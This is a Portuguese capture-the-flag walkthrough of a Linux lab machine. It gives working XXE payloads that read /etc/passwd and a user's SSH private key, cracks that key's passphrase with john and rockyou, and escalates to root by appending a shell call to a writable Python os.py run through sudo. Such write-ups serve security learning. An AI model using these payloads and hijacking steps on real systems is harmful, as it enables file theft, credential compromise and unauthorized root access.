Informações sobre a maquina:
Pontos: 100
Nível: Medio
SO: Linux
Começando fiz uma breve varredura com nmap
$ **nmap -Pn -sV -A 10.9.2.12**
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Localizado a porta 80/tcp, vamos acessar a web do servidor

Consegui logar com admin:admin
Clicando em Submit(sem digitar nada na box) recebi um Alert dizendo "Insert XML Code!". Então vamos criar um código simples em XML.

Antes de criar a payload, decidi digitar qualquer coisa na box e tive o seguinte resposta.

Acredito que as tags do XML devem ser com esses nomes ( Name, Author e Comment ). Agora vamos criar nossa payload XXE
<!DOCTYPE xxe
[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<box>
<name>teste</name>
<author>&payload;</author>
<comment>comment</comment>
</box>
Tivemos o retorno de um base64 na tag author. Interessante.

Decodificamos o base64 e tivemos o seguinte retorno.
Site usado para decodificar: https://www.base64decode.org/
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
suporte:x:1001:1001:,,,:/home/suporte:/bin/bash
Bom já tentei de cara buscar pela flag.txt no /(barra), nenhum retorno. Então vamos pesquisar por arquivos interessantes, como /etc/sudoers, /etc/shadow. Nada de interessante. Busquei também por chaves rsa dentro dos diretórios home dos usuários ubuntu e suporte
<!DOCTYPE xxe
[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/home/suporte/.ssh/id_rsa">
]>
<box>
<name>teste</name>
<author>&payload;</author>
<comment>comment</comment>
</box>
Opa, parece que tem algo interessante aqui. Vamos fazer um decode dessa hash.

E temos la nossa linda chave rsa

Porem a nossa chave RSA está encriptada, mas o nosso querido John consegue resolver isso pra gente, então vamos usar o ssh2john para deixar no formato que o john entenda.
Tools para formatar o rsa
https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py
-> Coloque a chave em um **ARQUIVO**
-> Execute o comando: **python3 ssh2john.py ARQUIVO > NOVO_ARQUIVO**
O resultado do **NOVO_ARQUIVO**, tem que ser mais ou menos isso
***idrsa:$sshng$1$16$04A3681D22...***
Agora vamos rodar o john para decodificar a senha. Podemos usar a wordlist rockyou.txt
https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz
john --wordlist=rockyou.txt **NOVO_ARQUIVO
resultado:**
┌──(kali㉿kali)-[~]
└─$ john rsa.txt --wordlist=rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**1qazXXXXXXXXX (idrsa)**
1g 0:00:00:00 DONE (2022-06-23 22:32) 100.0g/s 2090Kp/s 2090Kc/s 2090KC/s 999000..199213
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Agora com a senha, podemos acessa via ssh com usuário suporte e a chave rsa.

Tamo dentro !
Fiz uma breve pesquisa em diretórios conhecidos, e acabei encontrando algo interessando na pasta /opt

De cara já pegamos nossa flag de usuario no arquivo user.txt.
Nesse arquivo vert.py, acredito que ele esteja calculando alguns vetores/valores, e importando uma biblioteca chamada os, infelizmente entendo pouco de python, mas sei que é "possível" editar uma biblioteca que é importada, então vamos pesquisar por ela.
Com esse comando já pesquisamos pela biblioteca os.py e já verificamos quais as permissões de cada.
for i in $(find / -name os.py 2> /dev/null); do ls -liah $i; done

Podemos ver que temos permissão de escrita no arquivo /usr/lib/python3.6/os.py, interessante, mas será que podemos executar python com privilégios de root!? Vamos no famoso sudo -l

Olha só, temos permissão e ainda no arquivo que encontramos no /opt.
Vamos adicionar uma linha no final do arquivo os.py chamando uma shell.
echo 'system("/bin/bash")' >> /usr/lib/python3.6/os.py

E está lá nossa linha chamando a shell.
Agora vamos executar o arquivo vert.py utilizando o sudo
sudo /usr/bin/python3.6 /opt/vert.py

E ai está, um lindo privsec.
Agora é só pegar a segunda flag e concluir a maquina.